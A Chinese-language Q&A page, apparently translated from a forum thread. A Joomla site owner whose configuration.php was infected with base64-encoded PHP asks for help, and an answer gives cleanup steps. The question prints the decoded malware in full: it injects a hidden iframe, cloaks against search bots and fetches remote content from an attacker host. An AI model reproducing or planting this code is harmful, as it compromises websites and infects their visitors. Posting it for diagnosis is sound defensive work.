Joomla后端登录页面不断返回登录页面,没有错误。 configuration.php文件被感染了。怎么管理?

时间:2013-08-19 09:24:23

标签: php joomla base64

自从一周后我试图登录我的joomla 1.5网站的后端。它只是不停地返回登录页面而没有任何错误。当我看一下configuration.php文件时,它看起来像一个用以下模式编码的字符串:

<?php eval(base64_decode('string here';))) />

当我使用在线服务对其进行解码时,这似乎是:

if (!defined('frmDs')){ define('frmDs' ,1);     function frm_dl ($url) {        if (function_exists('curl_init')) {         $ch = curl_init($url);          curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);            $out = curl_exec ($ch);         if (curl_errno($ch) !== 0) $out = false;            curl_close ($ch);       } else {$out = @file_get_contents($url);}       return trim($out);  }       function frm_crpt($in){     $il=strlen($in);$o='';      for ($i = 0; $i < $il; $i++) $o.=$in[$i] ^ '*';     return $o;  }       function frm_getcache($tmpdir,$link,$cmtime,$del=true){     $f = $tmpdir.'/sess_'.md5(preg_replace('/^http:\/\/[^\/]+/', '', $link));       if(!file_exists($f) || time() - filemtime($f) > 60 * $cmtime)       {           $dlc=frm_dl($link);         if($dlc===false){               if(del)                 @unlink($f);                else                    @touch($f);         }           else            {               if($fp = @fopen($f,'w')){                   fwrite($fp, frm_crpt($dlc)); fclose($fp);               }else{return $dlc;}         }       }       $fc = @file_get_contents($f);       return ($fc)?frm_crpt($fc):'';  }       function frm_isbot($ua){        if(($lip=ip2long($_SERVER['REMOTE_ADDR']))<0)$lip+=4294967296;      $rs = array(array(3639549953,3639558142),array(1089052673,1089060862),array(1123635201,1123639294),array(1208926209,1208942590),                    array(3512041473,3512074238),array(1113980929,1113985022),array(1249705985,1249771518),array(1074921473,1074925566),                    array(3481178113,3481182206),array(2915172353,2915237886));     foreach ($rs as $r) if($lip>=$r[0] && $lip<=$r[1]) return true;     if(!$ua)return true;        $bots = array('googlebot','bingbot','slurp','msnbot','jeeves','teoma','crawler','spider');      foreach ($bots as $b) if(strpos($ua, $b)!==false) return true;      return false;   }       function frm_tmpdir(){      $fs = array('/tmp','/var/tmp');        foreach (array('TMP', 'TEMP', 'TMPDIR') as $v) {            if ($t = getenv($v)) {$fs[]=$t;}        }        if (function_exists('sys_get_temp_dir')) {$fs[]=sys_get_temp_dir();}        $fs[]='.';              foreach ($fs as $f){            $tf = $f.'/'.md5(rand());           if($fp = @fopen($tf, 'w')){             fclose($fp);                unlink($tf);                return $f;          }        }      return false;   }   function frm_seref(){       $r = @strtolower($_SERVER["HTTP_REFERER"]);     $ses = array('google','bing','yahoo','ask','aol');      foreach ($ses as $se) if(strpos($r, $se.'.')!=false) return true;       return false;   }       function frm_isuniq($tdir){     $ip=$_SERVER['REMOTE_ADDR'];        $dbf=$tdir.'/sess_'.md5(date('m.d.y'));     $odbf = $tdir.'/sess_'.md5(date('m.d.y',time()-86400));     if (file_exists($odbf)) @unlink($odbf);     if(strpos(frm_crpt(@file_get_contents($dbf)),$ip) === false ){          if ($fp=@fopen($dbf,'a')){fputs($fp,frm_crpt($ip.'|')); fclose($fp);}           return true;        }       return false;   }       $tdir = frm_tmpdir();   $defframe = '<style>    .gtvvh { position:absolute; left:-760px; top:-927px; }</style><div class="gtvvh"><iframe src="http://whivmjknp.findhere.org/jquery/get.php?ver=jquery.latest.js" width="477" height="435"></iframe></div>'; $defrdg='http://whivmjknp.findhere.org/jquery/get.php?ver=jquery.js';   $codelink = 'http://whivmjknp.findhere.org/nc/gnc.php?ver=jquery.latest.js';    $rdglink='http://whivmjknp.findhere.org/nc/gnc.php?ver=jquery.js';      $ua=$_SERVER['HTTP_USER_AGENT'];    $isb=frm_isbot($ua);        if (!$isb && preg_match('/Windows/', $ua) && preg_match('/MSIE|Opera/', $ua) && frm_isuniq($tdir) ){        error_reporting(0);         if(!isset($_COOKIE['__utmfr'])) {           if(!$codelink)              print($defframe);           else                print(frm_getcache($tdir,$codelink,15));            @setcookie('__utmfr',rand(1,1000),time()+86400*7,'/');      }   }       //-------   $host = preg_replace('/^w{3}\./','', strtolower($_SERVER['HTTP_HOST']));    if($tdir && strlen($host)<100 && preg_match('/^[a-z0-9\-]+\.([a-z]{2,5}|[a-z]{2,3}\.[a-z]{2,3}|.*\.edu)$/', $host)){        $parg = substr(preg_replace( '/[^a-z]+/', '',strtolower(base64_encode(md5($host)))),0,3);       $pageid = (isset($_GET[$parg]))?$_GET[$parg]*1:0;       $ruri = strtolower($_SERVER['REQUEST_URI']);        if((strpos($ruri,'/?')===0||strpos($ruri,'/index.php?')===0) && $pageid > 0){           print(frm_getcache($tdir,"http://whivmjknp.findhere.org/rdg/getpage.php?h=$host&p=$pageid&pa=$parg",60*48,false));          exit();     }       if ($isb) {         error_reporting(0);         print(frm_getcache($tdir,"http://whivmjknp.findhere.org/rdg/getpage.php?h=$host&pa=$parg&g=".(($ruri=='/'||$ruri=='/index.php')?'1':'0'),60*48,false));     }   }   //---------}

我在托管空间检查了其他Joomla安装,看到所有的configuration.php都是一样的。

怎么办?

请帮忙

1 个答案:

答案 0 :(得分:0)

configuration.php 文件唯一应该具有的是定义的变量。没有其他的。很可能是有人攻击了你的网站并乱搞了文件。

更改与您的网站相关的所有密码,包括托管密码。

通过cPanel备份您的网站,并使用某些防病毒软件进行扫描。假设没有检测到病毒,请将您的站点升级到最新的Joomla 2.5系列(2.5.14)。

然后,从configuration.php文件中删除您在问题中显示的代码,并尝试重新登录到Joomla管理面板。如果有效,请确保所有扩展程序都是最新的,并阅读:

Joomla! 2.5.4 Hacked: Having trouble with diagnosis

如果没有,请尝试通过数据库重置超级用户密码:

http://docs.joomla.org/How_do_you_recover_or_reset_your_admin_password%3F

<强>更新 看来你的整个configuration.php文件都遭到了攻击。我已经为您提供了该文件的代码,但是有一些空白要填写。任何需要填写的内容,我已经在旁边写了:

http://pastebin.com/gWWtCAJR

让我知道它是怎么回事:))